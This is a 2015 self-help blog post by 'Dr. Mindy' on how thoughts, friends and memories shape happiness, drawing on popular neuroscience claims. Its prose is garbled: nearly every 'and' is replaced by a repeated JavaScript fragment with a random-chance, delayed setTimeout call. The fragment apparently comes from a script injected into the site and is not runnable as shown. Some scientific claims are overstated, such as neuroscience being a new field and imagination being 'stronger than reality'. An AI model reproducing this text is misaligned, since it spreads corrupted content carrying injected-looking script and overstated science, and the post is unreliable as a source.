Does complaining make your life happier?

Posted On : December 10, 2015

I am fascinated by the power of the mind.

Your mind can either be your greatest friend or your worst enemy. Years ago researchers believed that thoughts just happened in the brain. We had no control over them. But a new division of science has emerged called neuroscience.

Researchers in the world of neuroscience have taught us several fascinating new concepts about how our thoughts determine our happiness. Here are some of my favorites:

1. Thoughts that fire together wire together

I wrote about this in The Reset Factor. Thoughts you think over andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and over, literally get glued together andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it becomes easier andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and easier for you to think that thought. We have billions of neurons in our brain that are glued together by neurotransmitters. Thoughts run along these neurons. If you think a thought like "I am fat" andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and you keep telling yourself that over andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and over, you literally glue these thoughts together andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it gets harder for you to stop thinking that thought.

How do you change harmful thoughts? You have to be aware you are having them. In his book The Unthethered Soul by Michael A. Singer (get it on Amazon, it's an amazing book!) he talks about how our inner voice is like a neurotic roommate that is often talking poorly to us. We have so much identity with the voice inside our head, but we wouldn't allow others to talk to us as harshly as we talk to ourselves. Labeling this voice as somebody different than you, can help begin to change the intensity andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and frequency at which this thoughts come.

2. The thoughts of our friends will quickly become our own thoughts

Ok, you ready for this. It will blow your mind. Neuroscience is showing us that when someone close to us is going through an experience that our brain likes to "try on" thier attitude. It's what we call empathy. But, because we now know that the brain is moldable andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and constantly changing, the more you try on their thoughts the more you shape your brain to think the way they do.

A perfect example of this is the concept of aging. If all your friends are complaining about how they can't lose weight, they are more moody than ever before, they have more aches andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and pains the older they get. You try on these thoughts, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and if you hear them say it enough you begin to believe them to be true for you too.

How do you change this? Well this is a tricky one. And I'm just going to come out andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and say it. If you have negative friends you are more likely to have a negative life. You may want to contemplate changing friends. Sorry, that's a tough one. I know. Try hanging out with people who are upbeat andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and positive. Look around you, who do you know that has an amazing attitude toward life. Spend as much time as you can with that person. Then you will rewire your brain to see only possibility andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and happiness.

3. Your imagination is stronger than reality

We are also learning that when we think about an event in the past, we magnify it. Our emotions are more heightened than when we first experienced the event. The same goes for what we imagine what can happen in the future. It's all magnified. The human brain is build to dramatize both the past andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the future. If you are upset about something in the past andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and you keep thinking about it over andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and over, the more emotional the story becomes.

How do you change these past stories? Stop obsessing on them. Stop reliving them. It's done. And as painful as the experience may be, it's behind you. I love the idea of failing forward. For me this means, if something doesn't go my way or hurts me, I am going to learn from it. I will use it as a tool to be a better version of me. I am committed to always moving forward andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and not getting stuck in the pain of the past.

I know that changing your thoughts is difficult. Start by being aware of how your thoughts can build you an amazing life or destroy you. Choose the ones that lift you up. Obsess on those. If you keep doing that over andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and over, one day you will see that you have built a life that you never dreamed possible.

Have an amazing day! Reach out if you need anything!!!

Dr. Mindy